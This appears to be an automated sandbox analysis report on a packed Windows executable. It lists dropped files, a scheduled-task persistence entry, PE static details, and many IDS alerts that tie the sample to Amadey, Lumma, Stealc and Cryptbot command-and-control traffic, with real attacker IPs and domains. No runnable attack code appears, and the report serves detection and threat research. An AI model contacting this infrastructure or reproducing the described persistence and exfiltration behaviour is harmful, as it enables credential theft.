Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.407949395492807
Encrypted:	false
SSDEEP:	6:7rubvXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0l/dt0:7rubPf2RKQ1CGAFAjzvYRQV/dt0
MD5:	820219A5A2E642C1F703868BA7462DFA
SHA1:	4AEE7D602E3F8C0ED92190C5FDAF925F81C04837
SHA-256:	461C8E48B421D9C301C368427F40EC8035F0DDED1617B78FC4E4C653B8AC2C8A
SHA-512:	AB68E6DB27473B3593460551630C02D570A5A8BAF57438045FB8212B2BE6209B580BA3D345A48C4B0AF2F148F5659BDA64380870BF458E9DA3EE81516607C28D
Malicious:	false
Reputation:	unknown
Preview:	....X}Ao...K.!.}?..*F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.511947962087485
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'034'624 bytes
MD5:	17773f6ab422d27012d0f813eec77035
SHA1:	e148f243044c22dd5374d41d4d9c5ae066c454cf
SHA256:	34b764f92f6aa319f62bf730e82f02a914cda5c7d7fa665c20a8f2c5430acc4a
SHA512:	6e0f75cea50dd43eb019fa5eb66d7e92262b2a7fdc12ab872afbd6339c069856427ce0e7cfd86fcbf17943d7c180a15ce12a9799561330173f485cafaa4ace88
SSDEEP:	49152:j5i0B6cfbpQIZyuOO26+iiaSwVgQJwXBUdlOauf7w:jb6cflfSiXNOtRUxuT
TLSH:	AAE549A2A909B6CFD4CA1BB88527DD42A96D43F98B1008C3D89DF5BE7D63CC111F6C25
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x720000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F69288E729Ah
cvttps2pi mm5, qword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0900000Ah], al
or al, byte ptr [eax]
add byte ptr [edx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31e1a4	0x10	exbexgpl
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31e154	0x18	exbexgpl
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	b5bb0491f6c2a7b79fcc8d9e025857ea	False	0.9980947717983651	data	7.981706032162596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
exbexgpl	0x6b000	0x2b4000	0x2b3200	a25219c3606604a6714d344ea806eac6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
obzesrhz	0x31f000	0x1000	0x400	a6f32bad094add4ebfd463f633280886	False	0.779296875	data	6.056848866128754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x320000	0x3000	0x2200	80442d9a1b9c70af34fb9ba5510d2932	False	0.05457261029411765	DOS executable (COM)	0.581528011404706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T17:08:05.213927+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49737	185.215.113.43	80	TCP
2024-12-18T17:08:09.707537+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	31.41.244.11	80	TCP
2024-12-18T17:08:17.346528+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49743	TCP
2024-12-18T17:08:17.490174+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:18.689737+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49768	185.215.113.43	80	TCP
2024-12-18T17:08:20.143820+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49771	31.41.244.11	80	TCP
2024-12-18T17:08:22.057397+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:22.057397+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49764	172.67.131.246	443	TCP
2024-12-18T17:08:23.296089+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:08:28.044251+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:08:28.044251+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49778	172.67.131.246	443	TCP
2024-12-18T17:08:29.697850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-18T17:08:31.202302+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49794	185.215.113.43	80	TCP
2024-12-18T17:08:32.687778+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	185.215.113.16	80	TCP
2024-12-18T17:08:33.113665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	172.67.131.246	443	TCP
2024-12-18T17:08:37.082611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49808	172.67.131.246	443	TCP
2024-12-18T17:08:39.108716+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	54904	1.1.1.1	53	UDP
2024-12-18T17:08:39.331351+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	65533	1.1.1.1	53	UDP
2024-12-18T17:08:40.282495+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49815	185.215.113.43	80	TCP
2024-12-18T17:08:40.896019+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:40.896019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:41.739087+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	185.215.113.16	80	TCP
2024-12-18T17:08:42.033876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	172.67.131.246	443	TCP
2024-12-18T17:08:45.945225+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:45.945225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49820	172.67.179.109	443	TCP
2024-12-18T17:08:46.869698+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49824	172.67.131.246	443	TCP
2024-12-18T17:08:47.187287+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49839	172.67.179.109	443	TCP
2024-12-18T17:08:47.187287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49839	172.67.179.109	443	TCP
2024-12-18T17:08:49.055030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	172.67.131.246	443	TCP
2024-12-18T17:08:50.571356+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49847	185.215.113.43	80	TCP
2024-12-18T17:08:52.426976+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49848	185.215.113.16	80	TCP
2024-12-18T17:08:53.876804+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	58665	1.1.1.1	53	UDP
2024-12-18T17:08:55.249397+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:08:55.249397+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:08:55.501597+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:08:55.991435+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:08:56.346729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49860	172.67.131.246	443	TCP
2024-12-18T17:08:56.473055+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49857	TCP
2024-12-18T17:08:56.794000+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:08:57.034975+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49857	TCP
2024-12-18T17:08:58.054168+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49866	185.215.113.43	80	TCP
2024-12-18T17:08:58.297218+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:08:59.624893+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-18T17:08:59.639621+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49867	185.215.113.16	80	TCP
2024-12-18T17:09:00.638809+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:09:00.638809+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49859	172.67.179.109	443	TCP
2024-12-18T17:09:01.195512+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	63255	1.1.1.1	53	UDP
2024-12-18T17:09:01.918918+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49873	172.67.179.109	443	TCP
2024-12-18T17:09:01.918918+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49873	172.67.179.109	443	TCP
2024-12-18T17:09:02.602786+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:02.602786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:04.633120+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:04.633120+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49877	172.67.179.109	443	TCP
2024-12-18T17:09:06.029794+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49896	185.185.71.170	80	TCP
2024-12-18T17:09:06.568845+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:06.568845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:06.819514+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49898	185.215.113.43	80	TCP
2024-12-18T17:09:07.981088+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49908	185.185.71.170	80	TCP
2024-12-18T17:09:08.147712+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:08.147712+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49897	172.67.179.109	443	TCP
2024-12-18T17:09:08.285990+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49907	31.41.244.11	80	TCP
2024-12-18T17:09:11.452025+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49924	172.67.179.109	443	TCP
2024-12-18T17:09:11.452025+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49924	172.67.179.109	443	TCP
2024-12-18T17:09:13.650597+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49930	185.215.113.43	80	TCP
2024-12-18T17:09:15.256310+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:15.256310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:15.275619+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49939	31.41.244.11	80	TCP
2024-12-18T17:09:16.073055+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49940	172.67.179.109	443	TCP
2024-12-18T17:09:16.923070+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:17.747929+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:17.747929+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49945	104.21.23.76	443	TCP
2024-12-18T17:09:18.208780+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:18.896162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49953	104.21.23.76	443	TCP
2024-12-18T17:09:19.772499+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49955	172.67.179.109	443	TCP
2024-12-18T17:09:19.772499+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49955	172.67.179.109	443	TCP
2024-12-18T17:09:20.405141+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:21.857395+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:22.735131+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49966	185.215.113.43	80	TCP
2024-12-18T17:09:23.109159+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:24.158399+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	49973	172.67.179.109	443	TCP
2024-12-18T17:09:24.158399+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49973	172.67.179.109	443	TCP
2024-12-18T17:09:24.189257+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49972	31.41.244.11	80	TCP
2024-12-18T17:09:26.939280+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:28.525313+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49922	185.215.113.206	80	TCP
2024-12-18T17:09:30.364270+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50009	185.215.113.43	80	TCP
2024-12-18T17:09:31.018616+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50013	172.67.179.109	443	TCP
2024-12-18T17:09:31.018616+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50013	172.67.179.109	443	TCP
2024-12-18T17:09:31.544207+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	61986	1.1.1.1	53	UDP
2024-12-18T17:09:31.847538+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50022	31.41.244.11	80	TCP
2024-12-18T17:09:32.981771+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:32.981771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:33.738409+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:33.738409+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50026	172.67.179.109	443	TCP
2024-12-18T17:09:34.967633+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:34.967633+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.107976+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:35.107976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:35.456766+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50038	185.215.113.16	80	TCP
2024-12-18T17:09:35.749841+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.749841+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50036	172.67.179.109	443	TCP
2024-12-18T17:09:35.847740+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50037	172.67.179.109	443	TCP
2024-12-18T17:09:37.313325+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50047	172.67.179.109	443	TCP
2024-12-18T17:09:37.313325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50047	172.67.179.109	443	TCP
2024-12-18T17:09:37.331586+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50046	185.215.113.16	80	TCP
2024-12-18T17:09:39.507033+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50056	172.67.179.109	443	TCP
2024-12-18T17:09:39.507033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50056	172.67.179.109	443	TCP
2024-12-18T17:09:41.580940+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50063	172.67.179.109	443	TCP
2024-12-18T17:09:41.580940+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50063	172.67.179.109	443	TCP
2024-12-18T17:09:42.994509+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50071	185.215.113.43	80	TCP
2024-12-18T17:09:43.897423+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50074	172.67.179.109	443	TCP
2024-12-18T17:09:43.897423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	172.67.179.109	443	TCP
